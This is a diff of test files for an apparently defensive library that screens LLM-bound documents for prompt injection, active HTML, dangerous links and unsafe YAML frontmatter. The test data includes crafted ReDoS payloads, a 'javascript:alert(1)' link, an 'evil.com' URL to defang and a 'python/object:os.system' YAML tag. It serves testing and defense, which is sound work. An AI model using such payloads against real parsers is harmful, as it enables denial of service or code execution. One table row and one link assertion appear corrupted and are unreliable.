assert html[0].severity is Severity.HIGH
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,text", [
|
||||
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
|
||||
("attributeless-base", "<base />"),
|
||||
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
|
||||
# target — but the mutator still escapes them, because a human auditing
|
||||
# defanged output should see the markup that was there.
|
||||
("end-tag", "</a>"),
|
||||
("mdx-wrapper-component", "<Frame>"),
|
||||
("self-closing-media", "<video />"),
|
||||
("img-without-src", '<img alt="a diagram">'),
|
||||
])
|
||||
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
|
||||
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed
|
||||
# its URL-attribute branch to external targets and dropped `<base>` from the name
|
||||
# set; the opt-in MUTATOR keeps defanging anything. Over-defanging costs nothing
|
||||
# here — it is auditable and blocks no disposition — while under-defanging would
|
||||
# hand a human a live construct.
|
||||
#
|
||||
# Pinned because the two predicates are separate symbols as of this change
|
||||
# (`is_active_tag` vs `is_defangable_tag`). Before the split, `neutralize`
|
||||
# imported the scanner's predicate by name, so narrowing it would have moved the
|
||||
# mutator silently — no test in this suite discriminated the two.
|
||||
result = neutralize(text)
|
||||
assert result.report.found is True, cid
|
||||
assert any(f.label == "neutralize:raw-html" for f in result.report.findings), cid
|
||||
assert "<" in result.text, f"{cid}: not escaped -- {result.text!r}"
|
||||
|
||||
|
||||
def test_benign_formatting_html_is_left_untouched():
|
||||
text = "This is **bold** and <b>strong</b> and <em>emph</em> text."
|
||||
result = neutralize(text)
|
||||
|
|
@ -139,3 +170,25 @@ def test_prose_with_lone_brackets_and_angles_is_identical():
|
|||
result = neutralize(text)
|
||||
assert result.text == text
|
||||
assert result.report.found is False
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------
|
||||
# Second call site of the same defect pinned in test_active_content.py: the
|
||||
# defanger runs `URL_IN_TEXT_RE` over each active tag's body. 14.9s at 100_000
|
||||
# chars, exponent 1.91-2.22. `neutralize` applies no input cap either.
|
||||
_ATTR_REDOS_N = 100_000
|
||||
|
||||
|
||||
def test_crafted_long_attribute_tag_stays_bounded():
|
||||
# Carrier stays `<a `, unlike the scanner-side twin in test_active_content.py:
|
||||
# the mutator keeps the whole tag set via `is_defangable_tag`, so 0.7.0's
|
||||
# no-URL narrowing did not make `<a >` inert here. Verified by measurement,
|
||||
# not by symmetry — see the comment on that row for what killed it there.
|
||||
payload = "<a " + "A" * _ATTR_REDOS_N + ">"
|
||||
assert scan_seconds(neutralize, payload) < 2.0
|
||||
|
||||
|
||||
def test_url_defanging_inside_a_tag_survives_the_redos_fix():
|
||||
result = neutralize("<a href=-http://evil.com>x</a>")
|
||||
assert "hxxp" in result.text
|
||||
assert "http://evil.com" not in result.text
|
||||
|
|
|
|||
|
|
@ -39,6 +39,7 @@ from llm_ingestion_guard.okf import (
|
|||
from llm_ingestion_guard.report import Report
|
||||
from llm_ingestion_guard.disposition import Trust, Disposition, PRESET_USER_UPLOAD
|
||||
from llm_ingestion_guard import screen_output
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
|
||||
# --- happy path: split + parse the minimal flat subset -----------------------
|
||||
|
|
@ -494,6 +495,26 @@ def test_link_graph_resolves_present_target():
|
|||
assert graph.dangling == ()
|
||||
|
||||
|
||||
def test_link_graph_caps_an_oversize_body_and_records_it():
|
||||
# Self-safety (OWASP LLM10): the graph runs a `findall` over every body in
|
||||
# the bundle, all of it attacker-supplied. It is detection-shaped, so it
|
||||
# truncates and records rather than raising — the caller's documents are not
|
||||
# what it returns.
|
||||
body = "y" * 200 + "\nSee [later](/b/target.md).\n"
|
||||
graph = link_graph({"a/main.md": "---\ntype: t\n---\n" + body}, max_scan_chars=50)
|
||||
|
||||
assert graph.truncated == (("a/main", len(body)),)
|
||||
# The link past the cap was never read — that cost is what the record announces.
|
||||
assert graph.dangling == ()
|
||||
|
||||
|
||||
def test_link_graph_body_at_the_cap_is_not_recorded():
|
||||
body = "See [later](/b/target.md).\n"
|
||||
graph = link_graph({"a/main.md": "---\ntype: t\n---\n" + body}, max_scan_chars=len(body))
|
||||
assert graph.truncated == ()
|
||||
assert ("a/main", "b/target") in graph.dangling
|
||||
|
||||
|
||||
def test_link_graph_records_rejected_dangerous_link():
|
||||
bundle = {"a/main.md": "---\ntype: t\n---\n[x](javascript:alert(1))\n"}
|
||||
graph = link_graph(bundle)
|
||||
|
|
@ -556,15 +577,59 @@ def test_v02_flat_frontmatter_still_parses(cid, fm):
|
|||
assert parse_frontmatter(f"---\nid: x\n{fm}---\n\nbody\n")[0]["id"] == "x"
|
||||
|
||||
|
||||
def test_one_key_block_sequence_item_is_misparsed_as_a_string():
|
||||
# The documented defect: two keys per item hard-reject (loud, safe), but ONE key
|
||||
# parses "successfully" into the wrong type. A consumer reading
|
||||
# frontmatter["sources"][0].get("uri") gets a string, not a mapping.
|
||||
fm, _ = parse_frontmatter(
|
||||
"---\nid: x\nsources:\n - uri: https://e.com/a\n---\n\nbody\n"
|
||||
)
|
||||
assert fm["sources"] == ["uri: https://e.com/a"], "shape changed — update LIMITATIONS.md"
|
||||
assert not isinstance(fm["sources"][0], dict)
|
||||
# --- the type-confusion defect, closed in 1.1.0 (2026-08-13) ----------------
|
||||
# Was: a mapping construct that the restricted grammar cannot represent degraded
|
||||
# into a STRING instead of failing. Two routes did this, not the one documented.
|
||||
# Ground-truthed against PyYAML 6.0.3: every shape below that we now reject is a
|
||||
# shape a real YAML parser reads as a MAPPING (or refuses outright), and every
|
||||
# shape we still admit is one PyYAML reads as a plain scalar.
|
||||
|
||||
_DEGRADED_TO_STRING = [
|
||||
# (id, frontmatter, what PyYAML 6.0.3 makes of it)
|
||||
("one key per item", "sources:\n - uri: https://e.com/a\n", "[{'uri': ...}]"),
|
||||
("item, trailing colon", "sources:\n - uri:\n", "[{'uri': None}]"),
|
||||
("inline double colon", "attester: resource: attesters/sql_equality.py\n", "parse error"),
|
||||
("top value, trailing colon", "description: see below:\n", "parse error"),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,fm,yaml_reads_as", _DEGRADED_TO_STRING,
|
||||
ids=[c[0] for c in _DEGRADED_TO_STRING])
|
||||
def test_a_mapping_construct_never_degrades_into_a_string(cid, fm, yaml_reads_as):
|
||||
# None of these shapes is the one form T2 admits (G3, the allowlisted flow
|
||||
# mapping) — so each must RAISE, never parse "successfully" into the wrong
|
||||
# type. A consumer reading frontmatter["sources"][0].get("uri") must not be
|
||||
# handed a str, and that holds whether the mapping class has no expressible
|
||||
# form or one.
|
||||
with pytest.raises(OKFFrontmatterError):
|
||||
parse_frontmatter(f"---\nid: x\n{fm}---\n\nbody\n")
|
||||
|
||||
|
||||
_STILL_SCALARS = [
|
||||
# PyYAML reads every one of these as a plain scalar: the colon carries no
|
||||
# space and no line end, so it never opens a mapping. Over-blocking a
|
||||
# conformant bundle is itself a failure mode (brief principle 5).
|
||||
("colon, no space", "tags:\n - domain:security\n", "tags", ["domain:security"]),
|
||||
("url item", "sources:\n - https://e.com/a\n", "sources", ["https://e.com/a"]),
|
||||
("url item with port", "sources:\n - https://e.com:8443/a\n", "sources",
|
||||
["https://e.com:8443/a"]),
|
||||
("url value with port", "resource: https://e.com:8443/a\n", "resource",
|
||||
"https://e.com:8443/a"),
|
||||
("double-quoted item", 'sources:\n - "uri: https://e.com/a"\n', "sources",
|
||||
['"uri: https://e.com/a"']),
|
||||
("single-quoted item", "sources:\n - 'uri: https://e.com/a'\n", "sources",
|
||||
["'uri: https://e.com/a'"]),
|
||||
("quoted top value", 'description: "Note: careful"\n', "description",
|
||||
'"Note: careful"'),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,fm,key,expected", _STILL_SCALARS,
|
||||
ids=[c[0] for c in _STILL_SCALARS])
|
||||
def test_scalars_that_merely_contain_a_colon_still_parse(cid, fm, key, expected):
|
||||
# Quotes are retained rather than stripped — a pre-existing divergence from
|
||||
# YAML, pinned here so closing the mapping hole is not read as fixing it.
|
||||
assert parse_frontmatter(f"---\nid: x\n{fm}---\n\nbody\n")[0][key] == expected
|
||||
|
||||
|
||||
def test_relative_resource_pointer_fails_the_allowlist():
|
||||
|
|
@ -574,42 +639,51 @@ def test_relative_resource_pointer_fails_the_allowlist():
|
|||
validate_resource_url(pointer)
|
||||
|
||||
|
||||
def test_pointer_in_one_key_sequence_reaches_the_consumer_tree():
|
||||
# The security-relevant consequence of the misparse above: the pointer never
|
||||
# touches the top-level `resource` key, so the https allowlist never inspects it
|
||||
# and door C admits the concept. Not conformant OKF — a well-formed bundle will
|
||||
# not produce this shape — but mode-b writes the merged concept verbatim.
|
||||
doc = ("---\nid: x\ntype: Attested Computation\n"
|
||||
"attester:\n - resource: attesters/sql_equality.py\n---\n\nbody\n")
|
||||
@pytest.mark.parametrize("cid,carrier", [
|
||||
("block sequence", "attester:\n - resource: attesters/sql_equality.py\n"),
|
||||
("inline double colon", "attester: resource: attesters/sql_equality.py\n"),
|
||||
])
|
||||
def test_pointer_in_a_degraded_mapping_no_longer_reaches_the_consumer_tree(cid, carrier):
|
||||
# The security-relevant consequence, closed at door C. Both carriers put the
|
||||
# pointer in a key the https allowlist never inspects, so while the shape
|
||||
# parsed, mode-b wrote the merged concept verbatim. It now fails secure at T2,
|
||||
# before the allowlist is even reached.
|
||||
doc = f"---\nid: x\ntype: Attested Computation\n{carrier}---\n\nbody\n"
|
||||
result = import_bundle({"computations/x.md": doc})
|
||||
assert result.disposition is Disposition.WARN, "hole closed — update LIMITATIONS.md"
|
||||
assert result.disposition is Disposition.FAIL_SECURE, "hole reopened — see LIMITATIONS.md"
|
||||
|
||||
|
||||
def test_every_route_to_a_mapping_fails_on_a_different_rule():
|
||||
# The v0.2 wall is not a choice between two forms where one is better: ALL three
|
||||
# ways to express a mapping fail, each on its own rule, so the mapping *class* has
|
||||
# no expressible form through T2. v0.2's `generated` IS a mapping (`by` required
|
||||
# when present), so it cannot be expressed at all.
|
||||
def test_exactly_one_route_to_a_mapping_is_expressible():
|
||||
# Was: ALL FOUR routes failed, each on its own rule, so the mapping *class* had
|
||||
# no expressible form (and v0.2's `generated` could not be written at all). G3
|
||||
# opens exactly ONE of them - the allowlisted flow form - and the other three
|
||||
# still fail, each on its own rule. That the openable route is the one whose
|
||||
# every key the allowlist inspects is the whole design: block, dotted and inline
|
||||
# give the allowlist nothing to inspect, so they stay shut.
|
||||
assert parse_frontmatter("---\nid: x\ngenerated: { by: x, at: y }\n---\n\nbody\n")[0][
|
||||
"generated"] == {"by": "x", "at": "y"}
|
||||
|
||||
routes = {
|
||||
"flow": "generated: { by: x, at: y }\n",
|
||||
"block": "generated:\n by: x\n",
|
||||
"dotted": "generated.by: x\n",
|
||||
"inline": "generated: by: x\n",
|
||||
}
|
||||
errors = {}
|
||||
for name, fm in routes.items():
|
||||
with pytest.raises(OKFFrontmatterError) as exc:
|
||||
parse_frontmatter(f"---\nid: x\n{fm}---\n\nbody\n")
|
||||
errors[name] = str(exc.value)
|
||||
assert "indicator" in errors["flow"]
|
||||
assert "nested mappings" in errors["block"]
|
||||
assert "key" in errors["dotted"]
|
||||
assert "mapping" in errors["inline"]
|
||||
assert len(set(errors.values())) == 3, "routes must fail distinctly, not collapse"
|
||||
|
||||
|
||||
_BLOCK_LIST_ITEM_SHAPES = [
|
||||
# A consumer called all three "the sources block list"; the parser does not.
|
||||
# The one-key-per-item row lived here until 1.1.0, admitted as the string
|
||||
# "id: a"; it now hard-rejects with the two-key row (_DEGRADED_TO_STRING).
|
||||
("flat scalars", "sources:\n - file://x\n - file://y\n", ["file://x", "file://y"]),
|
||||
("one key per item", "sources:\n - id: a\n", ["id: a"]), # silent misparse
|
||||
("single-element", "verified:\n - human:ktg\n", ["human:ktg"]),
|
||||
]
|
||||
|
||||
|
|
@ -629,7 +703,9 @@ def test_two_keys_per_item_is_where_the_block_list_hard_rejects():
|
|||
|
||||
|
||||
@pytest.mark.parametrize("fm", [
|
||||
"generated: { by: x, at: y }\n", "sources: [{ id: a }]\n", "tags: [a, b]\n",
|
||||
# The flow row carries a key OFF the G3 allowlist: the shape is admitted, the
|
||||
# key is not, so this stays a T2 rejection and the door A/B half still holds.
|
||||
"generated: { by: x, tool: y }\n", "sources: [{ id: a }]\n", "tags: [a, b]\n",
|
||||
"generated:\n by: x\n", "generated.by: x\n",
|
||||
"sources:\n - id: a\n resource: file://x\n",
|
||||
])
|
||||
|
|
@ -640,3 +716,190 @@ def test_t2_constrains_import_not_emission(fm):
|
|||
doc = f"---\nid: x\n{fm}---\n\nbody\n"
|
||||
assert import_bundle({"concepts/x.md": doc}).disposition is Disposition.FAIL_SECURE
|
||||
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
|
||||
|
||||
|
||||
# --- self-safety (OWASP LLM10): ReDoS in the link-graph extractor ------------
|
||||
# `[^\]]*` is a run in front of a REQUIRED `]`: a bundle body that repeats `[`
|
||||
# and never closes it makes every start position rescan the tail. Measured 7.1s
|
||||
# at 100_000 chars, exponent 1.99-2.05 over four doublings, and the link graph
|
||||
# runs over attacker-supplied bundle bodies with no input cap. Found by
|
||||
# docs/redos-sweep.py once it was generalised past the lexicon table; the same
|
||||
# defect in `active_content`'s markdown table was already fixed there the same
|
||||
# way, by excluding the character that opens the pattern's own anchor.
|
||||
_LINK_REDOS_N = 100_000
|
||||
|
||||
|
||||
def test_crafted_link_payload_stays_bounded():
|
||||
assert scan_seconds(extract_link_targets, "[" * _LINK_REDOS_N) < 2.0
|
||||
|
||||
|
||||
# The destination run behind the label gets no row: `[^)\s]+` needs only one
|
||||
# character, so it cannot fail, and a run that cannot fail cannot pay the
|
||||
# per-start rescan. A row for it could never go red — decoration, not a pin.
|
||||
|
||||
|
||||
def test_link_extraction_survives_the_redos_fix():
|
||||
# Recall parity: ordinary links, a label holding brackets it does not close,
|
||||
# and the nested-bracket form the exclusion deliberately gives up on -- the
|
||||
# same trade `active_content.MD_LINK_RE` already makes.
|
||||
assert extract_link_targets("see [x](./a.md) and [y](/b.md)") == ["./a.md", "/b.md"]
|
||||
assert extract_link_targets("[a b](./c.md)") == ["./c.md"]
|
||||
assert extract_link_targets("text [](./t.md)") == ["./i.png"]
|
||||
|
||||
|
||||
# --- G3: the typed, allowlisted mapping form (2026-08-21) --------------------
|
||||
# Door 1 of three (operator decision, 2026-08-21). The mapping *class* had no
|
||||
# expressible form, and OKF v0.2 writes its whole trust and provenance layer as
|
||||
# mappings — SPEC.md @ 62432a09 §5.2 uses flow form in its own examples, and §11
|
||||
# carries a hard MUST that presupposes they parse ("consumers MUST treat a bare
|
||||
# `verified` mapping as a one-element list"). A consumer measured 0 of 53
|
||||
# upstream concepts through the gate. This admits ONE shape: a flow mapping whose
|
||||
# every key is on the allowlist and whose every leaf is a plain scalar.
|
||||
|
||||
def test_spec_flow_mapping_parses_into_a_typed_mapping():
|
||||
# SPEC.md §5.2, verbatim. This is the red test: it must fail before the form
|
||||
# exists and pass after, with a real dict — never a degraded string.
|
||||
doc = (
|
||||
"---\ntype: table\n"
|
||||
"generated: { by: reference_agent/gemini-2.5-pro, at: 2026-06-20T22:53:05Z }\n"
|
||||
"---\nbody\n"
|
||||
)
|
||||
assert parse_frontmatter(doc)[0]["generated"] == {
|
||||
"by": "reference_agent/gemini-2.5-pro",
|
||||
"at": "2026-06-20T22:53:05Z",
|
||||
}
|
||||
|
||||
|
||||
def test_spec_bare_verified_mapping_parses():
|
||||
# SPEC.md §5.2's bare form, which §11 turns into a hard MUST for consumers
|
||||
# ("MUST treat a bare `verified` mapping as a one-element list") - a rule that
|
||||
# cannot be obeyed by a consumer that cannot parse the mapping.
|
||||
doc = "---\ntype: table\nverified: { by: human:ahormati, at: 2026-06-25T09:00:00Z }\n---\nb\n"
|
||||
assert parse_frontmatter(doc)[0]["verified"] == {
|
||||
"by": "human:ahormati", "at": "2026-06-25T09:00:00Z"}
|
||||
|
||||
|
||||
def test_spec_verified_list_of_flow_mappings_parses():
|
||||
# §5.2's list form. This is the SAME typed form in list position, not the
|
||||
# block-sequence-with-one-key route (`- uri: x`), which stays shut below.
|
||||
doc = (
|
||||
"---\ntype: table\nverified:\n"
|
||||
" - { by: human:ahormati, at: 2026-06-25T09:00:00Z }\n"
|
||||
" - { by: process:finance-nightly, at: 2026-06-26T02:00:00Z }\n"
|
||||
"---\nbody\n"
|
||||
)
|
||||
assert parse_frontmatter(doc)[0]["verified"] == [
|
||||
{"by": "human:ahormati", "at": "2026-06-25T09:00:00Z"},
|
||||
{"by": "process:finance-nightly", "at": "2026-06-26T02:00:00Z"},
|
||||
]
|
||||
|
||||
|
||||
def test_spec_usage_window_parses():
|
||||
doc = "---\ntype: table\nusage_window: { from: 2026-06-01T00:00:00Z, to: 2026-06-30T00:00:00Z }\n---\nb\n"
|
||||
assert parse_frontmatter(doc)[0]["usage_window"] == {
|
||||
"from": "2026-06-01T00:00:00Z", "to": "2026-06-30T00:00:00Z"}
|
||||
|
||||
|
||||
def test_an_unknown_key_inside_a_mapping_is_still_rejected():
|
||||
# The rejection side of the allowlist. Without this test the allowlist could
|
||||
# silently grow to "anything" - or be emptied - and nothing would fail.
|
||||
with pytest.raises(OKFFrontmatterError) as exc:
|
||||
parse_frontmatter("---\nid: x\ngenerated: { by: a, tool: shell }\n---\n\nbody\n")
|
||||
assert "allowlist" in str(exc.value)
|
||||
|
||||
|
||||
def test_the_allowlist_is_not_empty_and_admits_only_the_spec_keys():
|
||||
# Both directions of the same guard: a shrunk allowlist breaks the first
|
||||
# assertion, a widened one the second.
|
||||
for key in ("by", "at", "from", "to", "id", "title", "author", "usage_count",
|
||||
"last_modified"):
|
||||
assert parse_frontmatter(f"---\nid: x\nk: {{ {key}: v }}\n---\n\nb\n")[0]["k"] == {key: "v"}
|
||||
for key in ("resource", "executor", "attester", "runtime", "command", "uri"):
|
||||
with pytest.raises(OKFFrontmatterError):
|
||||
parse_frontmatter(f"---\nid: x\nk: {{ {key}: v }}\n---\n\nb\n")
|
||||
|
||||
|
||||
_FLOW_REJECTED = [
|
||||
# (id, value, what PyYAML 6.0.3 makes of it)
|
||||
("nested mapping", "{ by: { at: x } }", "a nested mapping"),
|
||||
("nested sequence", "{ by: [a, b] }", "a sequence leaf"),
|
||||
("anchor leaf", "{ by: &a x }", "an anchor definition, silently"),
|
||||
("tag leaf", "{ by: !!python/object:os.system x }", "refused outright"),
|
||||
("block scalar leaf", "{ by: | }", "a scanner error"),
|
||||
("nested colon leaf", "{ by: sub: v }", "refused outright"),
|
||||
("no space after colon", "{by:x}", "the KEY 'by:x', not a scalar"),
|
||||
("quoted leaf", "{ title: 'a, b' }", "a scalar - we refuse, deliberately"),
|
||||
("empty mapping", "{}", "an empty mapping"),
|
||||
("empty leaf", "{ by: }", "None"),
|
||||
("unclosed", "{ by: x", "a parse error"),
|
||||
("trailing junk", "{ by: x } more", "a parse error"),
|
||||
("duplicate key", "{ by: a, by: b }", "last-wins, silently"),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,value,yaml_reads_as", _FLOW_REJECTED,
|
||||
ids=[c[0] for c in _FLOW_REJECTED])
|
||||
def test_the_mapping_form_admits_scalar_leaves_on_allowlisted_keys_only(cid, value, yaml_reads_as):
|
||||
with pytest.raises(OKFFrontmatterError):
|
||||
parse_frontmatter(f"---\nid: x\ngenerated: {value}\n---\n\nbody\n")
|
||||
|
||||
|
||||
def test_a_rejected_mapping_never_degrades_into_a_string():
|
||||
# The 1.1.0 defect, re-asserted against the NEW form: a refused mapping must
|
||||
# raise, not arrive as a str a consumer will .get() a key out of.
|
||||
for value in ("{ by: { at: x } }", "{ tool: shell }", "{ by: x"):
|
||||
with pytest.raises(OKFFrontmatterError):
|
||||
parse_frontmatter(f"---\nid: x\ngenerated: {value}\n---\n\nbody\n")
|
||||
|
||||
|
||||
def test_the_admitted_mapping_is_a_dict_not_a_string():
|
||||
value = parse_frontmatter("---\nid: x\ngenerated: { by: a, at: b }\n---\n\nb\n")[0]["generated"]
|
||||
assert isinstance(value, dict), "a typed form that arrives as a str is the 1.1.0 defect"
|
||||
|
||||
|
||||
@pytest.mark.parametrize("cid,fm", [
|
||||
("block sequence, one key", "attester:\n - resource: attesters/sql_equality.py\n"),
|
||||
("inline second colon", "attester: resource: attesters/sql_equality.py\n"),
|
||||
("block mapping", "attester:\n resource: attesters/sql_equality.py\n"),
|
||||
("flow mapping, pointer key", "attester: { resource: attesters/sql_equality.py }\n"),
|
||||
])
|
||||
def test_the_pointer_routes_stay_shut(cid, fm):
|
||||
# G3 is additive: none of the routes that put an executable-code pointer in a
|
||||
# key the https allowlist never inspects is reopened. The fourth row is why
|
||||
# `resource` is off the allowlist - the form would otherwise have carried the
|
||||
# door-C pointer through in typed clothes instead of degraded ones.
|
||||
doc = f"---\nid: x\ntype: Attested Computation\n{fm}---\n\nbody\n"
|
||||
with pytest.raises(OKFFrontmatterError):
|
||||
parse_frontmatter(doc)
|
||||
assert import_bundle({"computations/x.md": doc}).disposition is Disposition.FAIL_SECURE
|
||||
|
||||
|
||||
def test_injection_in_a_mapping_leaf_is_caught_by_the_scan():
|
||||
# T1 is not weakened by the new shape: a mapping leaf is scanned exactly like a
|
||||
# scalar value or a list item. A typed form that parses but is not scanned would
|
||||
# be a hole, not a fix.
|
||||
doc = f"---\ntype: table\ngenerated: {{ by: {_INJECTION} }}\n---\nclean body\n"
|
||||
assert scan_concept(doc).found is True
|
||||
|
||||
|
||||
def test_injection_in_a_listed_mapping_leaf_is_caught_by_the_scan():
|
||||
doc = f"---\ntype: table\nverified:\n - {{ by: {_INJECTION} }}\n---\nclean body\n"
|
||||
assert scan_concept(doc).found is True
|
||||
|
||||
|
||||
def test_a_conformant_v02_trust_layer_now_reaches_the_gate():
|
||||
# The measured consequence: a consumer reported 0 of 53 upstream concepts through
|
||||
# the gate, because every one of them carries §5.2 trust frontmatter.
|
||||
doc = (
|
||||
"---\n"
|
||||
"type: table\n"
|
||||
"title: Users\n"
|
||||
"resource: https://example.com/users\n"
|
||||
"generated: { by: reference_agent/gemini-2.5-pro, at: 2026-06-20T22:53:05Z }\n"
|
||||
"verified: { by: human:ahormati, at: 2026-06-25T09:00:00Z }\n"
|
||||
"usage_window: { from: 2026-06-01T00:00:00Z, to: 2026-06-30T00:00:00Z }\n"
|
||||
"---\nThe users table.\n"
|
||||
)
|
||||
result = import_bundle({"tables/users.md": doc})
|
||||
assert result.disposition is Disposition.WARN
|
||||
assert result.concepts[0].error is None
|
||||
|
|
|
|||
|
|
@ -35,6 +35,7 @@ from llm_ingestion_guard.active_content import scan_active_content
|
|||
from llm_ingestion_guard.lexicon import scan_lexicon
|
||||
from llm_ingestion_guard.output import scan_output, scan_secret_egress
|
||||
from llm_ingestion_guard.report import Report, Severity, Source
|
||||
from redos_clock import scan_seconds
|
||||
|
||||
|
||||
# --- fixtures assembled at runtime (never contiguous in source) --------------
|
||||
|
|
@ -331,26 +332,61 @@ def test_no_double_oversize_flag_from_lexicon():
|
|||
|
||||
|
||||
def test_pathological_input_returns_within_a_bound():
|
||||
# A scanner that hangs on crafted input IS the DoS. This bounds the runtime
|
||||
# so a hang or a blowup fails loudly; it is NOT a throughput regression test.
|
||||
# The name overstates what the payload proves: measured against size-matched
|
||||
# The composed gate terminates on a full-cap payload. It is NOT a ReDoS row
|
||||
# and NOT a throughput regression test: measured against size-matched
|
||||
# ordinary prose this blob is the FASTER side (0.93x / 0.96x, order swapped),
|
||||
# so it does not exercise catastrophic backtracking. That duty is carried by
|
||||
# test_lexicon.py::test_redos_pathological_subagent_input_returns_fast, which
|
||||
# crafts against a known-bad nested `.*?` pattern.
|
||||
# Bound set from measurement, not preference: the slowest legitimate run of
|
||||
# this size is ordinary prose on a cold process (~4.2s); the blob itself runs
|
||||
# 4.70s cold / 3.40-3.73s warm. The old 5.0s sat ~6% over that and failed on
|
||||
# a loaded machine. 10.0s is ~2.4x the slowest observed legitimate run.
|
||||
# The payload is 1_000_200 chars -- 200 over the max_scan_chars default, so
|
||||
# this also exercises the truncate-and-flag oversize path. Do not resize it.
|
||||
# so it exercises no catastrophic backtracking. That duty is carried by the
|
||||
# crafted table below and by test_lexicon.py. What is unique here is the size:
|
||||
# 1_000_200 chars, 200 over the max_scan_chars default, so this also drives
|
||||
# the truncate-and-flag oversize path. Do not resize it.
|
||||
#
|
||||
# THE WALL CLOCK IS GONE, and the "or a hang" half of the old claim with it.
|
||||
# It was kept on `time.monotonic()` on the grounds that a BLOCKING hang burns
|
||||
# no CPU and only a wall clock catches it. True in general, and inapplicable
|
||||
# here: `scan_output` is pure `re` over an in-memory `str` -- no open(), no
|
||||
# socket, no subprocess, no threading, no lock, no sleep anywhere on the path
|
||||
# (`urllib.parse` is string splitting). There is no way for this code to stop
|
||||
# without spending cycles, so the wall clock guarded a mode that cannot occur
|
||||
# while measurably producing false red. Measured on this machine, same
|
||||
# payload, idle vs 48 busy processes (~4x oversubscription on 16 logical):
|
||||
#
|
||||
# wall 3.30 / 3.29 / 3.13s -> 20.71 / 21.63s <- 2x OVER the old bound
|
||||
# cpu 3.30 / 3.18 / 3.20s -> 7.02 / 7.62s <- bounded by SMT, ~2.4x
|
||||
#
|
||||
# Bound derivation on the surviving clock: slowest legitimate content of this
|
||||
# size is ordinary prose (3.02-3.07s idle CPU, ~4.7s on a cold process), and
|
||||
# CPU inflation under contention tops out near 2x -- 7.62s measured, flat
|
||||
# beyond, for the reason `test_the_redos_clock_ignores_time_this_process_did_
|
||||
# not_spend` derives. 20.0s is ~2.6x the slowest observed legitimate run and
|
||||
# still catches a blowup by orders of magnitude.
|
||||
#
|
||||
# That last claim is measured, not extrapolated, because no in-repo
|
||||
# vulnerable form can turn this row red: its payload is a blob, not a crafted
|
||||
# one, so none of the quadratic patterns this suite fixed (`[`, `<a:`,
|
||||
# long-attribute, the sub-agent lazy run) fire on it. What the row actually
|
||||
# guards is a FUTURE pattern that is quadratic on long runs -- so that is
|
||||
# what was patched in to prove the bound live: `A+\s*EXFILTRATE`, one run
|
||||
# followed by a required literal the payload never supplies, the exact defect
|
||||
# class 0.3.2 and the input-path sweep both fixed. The row failed at 64.77s
|
||||
# CPU against the 20.0s bound, 3.2x over. Removed again after.
|
||||
#
|
||||
# The cost of dropping the wall clock, stated: an infinite loop in the gate
|
||||
# would now hang the suite instead of failing it. That is the same trade
|
||||
# `tests/redos_clock.py` documents and every other bound in this suite already
|
||||
# takes; this row was the last one paying false-red premiums to opt out of it.
|
||||
payload = ("A" * 5000 + " ") * 200 # ~1MB of blob-ish text
|
||||
start = time.monotonic()
|
||||
scan_output(payload)
|
||||
assert time.monotonic() - start < 10.0
|
||||
assert scan_seconds(scan_output, payload) < 20.0
|
||||
|
||||
|
||||
# --- crafted ReDoS payloads against OUR OWN patterns (OWASP LLM10) -----------
|
||||
#
|
||||
# Every bound below goes through `scan_seconds`, so the rows share ONE clock and
|
||||
# one derivation -- and since `redos_clock` is imported, not copied, that "one"
|
||||
# now spans every ReDoS bound in the suite, not just this file's. The
|
||||
# neighbouring test above keeps its own wall clock on purpose -- see the
|
||||
# instrument test for why the two must not be merged.
|
||||
|
||||
|
||||
# The gap the test above explicitly does NOT cover. Every pattern here has the
|
||||
# same shape: a `+`/`*` run followed by a REQUIRED literal, reachable from a
|
||||
# short anchor. The payload repeats that anchor and never supplies the literal,
|
||||
|
|
@ -392,25 +428,72 @@ _REDOS_PAYLOADS = [
|
|||
("active-md-image-url", scan_active_content, ",
|
||||
("active-md-link-url", scan_active_content, "[a]("),
|
||||
("active-html-tag-attrs", scan_active_content, "<a"),
|
||||
# 0.6.0 put a value parser behind the URL-attribute presence test. Its one run
|
||||
# is the `\s*` in front of the required `=`, so the unit has to DENY the `=`:
|
||||
# a unit that supplies it matches immediately and never exercises the run.
|
||||
("active-url-attr-value", scan_active_content, "<a href >"),
|
||||
# The lexicon is on the output path too, and it had the same defect in the
|
||||
# JSON pattern table -- found only because the composed-gate test below
|
||||
# stayed red after every scanner above was already linear. `<a:` drove the
|
||||
# six html-obfuscation `<[^>]+style...` patterns to 204s at 80_000 chars.
|
||||
("lexicon-html-obfuscation", scan_lexicon, "<a:"),
|
||||
("lexicon-script-tag", scan_lexicon, "<script>"),
|
||||
# A denying unit alone isn't enough here: at the shared _REDOS_N, the
|
||||
# now-fixed `[^>]` form measures ~1.2-1.4s -- under the 2.0s bound, so the
|
||||
# row would pass under the vulnerable form too and prove nothing. Measured
|
||||
# this row's own N: `[^>]` crosses the bound between 100k and 200k chars
|
||||
# (~3.7s at 200k) while the shipped `[^><]` form stays at ~0.8s. 200_000
|
||||
# is this row's own override, not the shared _REDOS_N.
|
||||
("lexicon-script-tag", scan_lexicon, "<script ", 200_000),
|
||||
# Unlike script-tag, this row is not marginal at the shared _REDOS_N: measured
|
||||
# both directions at 100_000 -- shipped `[^><]` 0.375s, vulnerable `[^>]` 8.95s
|
||||
# (~24x apart, both ~4-5x clear of the 2.0s bound). No per-row override needed.
|
||||
("lexicon-iframe-src", scan_lexicon, "<iframe "),
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"scanner,unit", [(s, u) for _, s, u in _REDOS_PAYLOADS],
|
||||
ids=[i for i, _, _ in _REDOS_PAYLOADS],
|
||||
"scanner,unit,n",
|
||||
[(row[1], row[2], row[3] if len(row) > 3 else _REDOS_N) for row in _REDOS_PAYLOADS],
|
||||
ids=[row[0] for row in _REDOS_PAYLOADS],
|
||||
)
|
||||
def test_crafted_redos_payload_stays_bounded(scanner, unit):
|
||||
